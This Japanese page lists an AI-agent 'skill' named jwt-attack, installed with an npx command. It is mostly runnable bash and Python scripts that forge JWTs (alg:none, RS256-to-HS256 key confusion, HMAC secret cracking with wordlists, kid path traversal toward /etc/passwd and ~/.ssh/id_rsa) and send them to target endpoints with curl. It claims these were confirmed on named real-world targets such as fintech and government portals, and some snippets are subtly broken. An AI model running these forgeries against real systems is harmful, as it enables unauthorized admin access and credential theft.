jwt-attack について
jwt-attackは、セキュリティテスター向けのJWT攻撃手法ガイドです。トークンの分析や偽造手法に加え、よくあるJWTの弱点を確認する手順をまとめています。
主な機能
- 01JWTのデコードと分析
- 02alg:noneとアルゴリズム混同の検証
- 03弱いHMACシークレットの総当たり
- 04kidインジェクションと期限切れトークン再利用の確認
- 05JavaScriptバンドル内のハードコードトークン検索
活用シーン
- 01Bearerトークン認証APIの評価
- 02トークンによるアクセス制御回避の検証
- 03フロントエンド資産からのJWT漏えい確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill jwt-attackインストール後、Claude Code で/jwt-attackを入力して読み込まれたか確認します。
詳細
JWT 攻撃スキル
JWT 攻撃の完全な手法です。検証せずにデコードする方法、アルゴリズムの混同(alg:none、RS256→HS256)、弱いシークレットのブルートフォース(hashcat/john/単純な方法)、kid インジェクション、期限切れトークンの再利用、JS バンドルからのハードコードされた JWT の抽出を扱います。enterprise-portal(JWT ベースのセッション)、fintech-processor(Efí 銀行のログに 315 個の JWT トークン)、fitness-chain(2027 年が有効期限の JWT セッション 3 個)、delivery-platform(JS バンドル内のハードコードされた JWT)、gov-finance-portal(Vite のソース内に漏えいした JWT シークレット)で確認済みです。
使用する場面
- API が
Authorization: Bearer eyJ...ヘッダーを使用している場合。 - JavaScript バンドルに
eyJ...トークンのパターンが含まれている場合。 js-secrets-extractionで JWT トークンが見つかった後。api-noauth-huntで認証バイパスのためにトークンの偽造が必要な場合。- Cookie に、Base64 エンコードされた値を持つ
jwt=、token=、またはsession=が含まれている場合。
前提条件
- curl と python3 を備えた
terminal。 - 攻撃対象の JWT トークン(偵察で取得)。
- ブルートフォースの場合:高速なクラッキング用の
hashcatまたはjohn(任意)。
実行方法
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
クイックリファレンス
| 攻撃 | 前提条件 | 影響 | 難易度 |
|---|---|---|---|
| alg:none | サーバーが alg: "none" を受け入れる | 完全な管理者アクセス | 簡単 |
| RS256→HS256 | JWT が RS256 で署名されている | 完全な管理者アクセス | 中程度(公開鍵が必要) |
| 弱い HMAC シークレット | 弱いシークレットを使った HS256 | 完全な管理者アクセス | 中程度(クラッキングが必要) |
| kid インジェクション | サーバーが kid ヘッダーを信頼する | RCE/LFI | 難しい |
| 期限切れトークンの再利用 | サーバーが exp を検証しない | セッションの持続 | 非常に簡単 |
| ハードコードされた JWT | JS/ソース内で JWT が見つかる | JWT に付与された権限による | 非常に簡単 |
手順
フェーズ 1 — JWT のデコードと分析
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fi
フェーズ 2 — alg:none 攻撃
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fi
フェーズ 3 — RS256→HS256 の鍵混同
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fi
フェーズ 4 — 弱い HMAC シークレットのブルートフォース
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"
フェーズ 5 — Kid インジェクション(パストラバーサル / SQLi)
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
done
注意点
- alg:none はまれです。 ほとんどの JWT ライブラリは、2017 年以降、デフォルトでこれを拒否します。ただし、レガシーアプリは存在します。
- RS256→HS256 には公開鍵が必要です。 通常、公開鍵は
/.well-known/jwks.jsonまたは JS バンドル内で入手できます。 - ブルートフォースは Python では低速です。 HS256 には
hashcat -m 16500を、実運用レベルの速度でクラッキングするにはjohnを使用してください。 - Laravel Passport は
jtiを検証します。 有効な JWT を偽造できても、Passport はjti(JWT ID)がデータベースに存在するか確認します。 - Auth0/Firebase は JWKS を使用します。 サーバーは
/.well-known/jwks.jsonから公開鍵を取得します。サーバーが常に公開鍵で検証するため、alg:none は機能しません。
検証
- alg:none:偽造したトークンで保護されたリソースにアクセスし、HTTP 200 が返ることを必ず確認してください。
- RS256→HS256:公開鍵を HMAC シークレットとして使い、偽造したトークンがサーバーの検証を通過することを必ず確認してください。
- HS256 のブルートフォース:解読したシークレットで、変更したペイロードに対する有効な署名を生成できることを必ず確認してください。
- ハードコードされた JWT:API に対してトークンをテストし、現在も機能することを必ず確認してください。
- Kid インジェクション:インジェクションした kid と無効な署名とで、サーバーが異なるエラーを返すことを必ず確認してください(kid が処理されていることを示します)。
コメント
Markdown 対応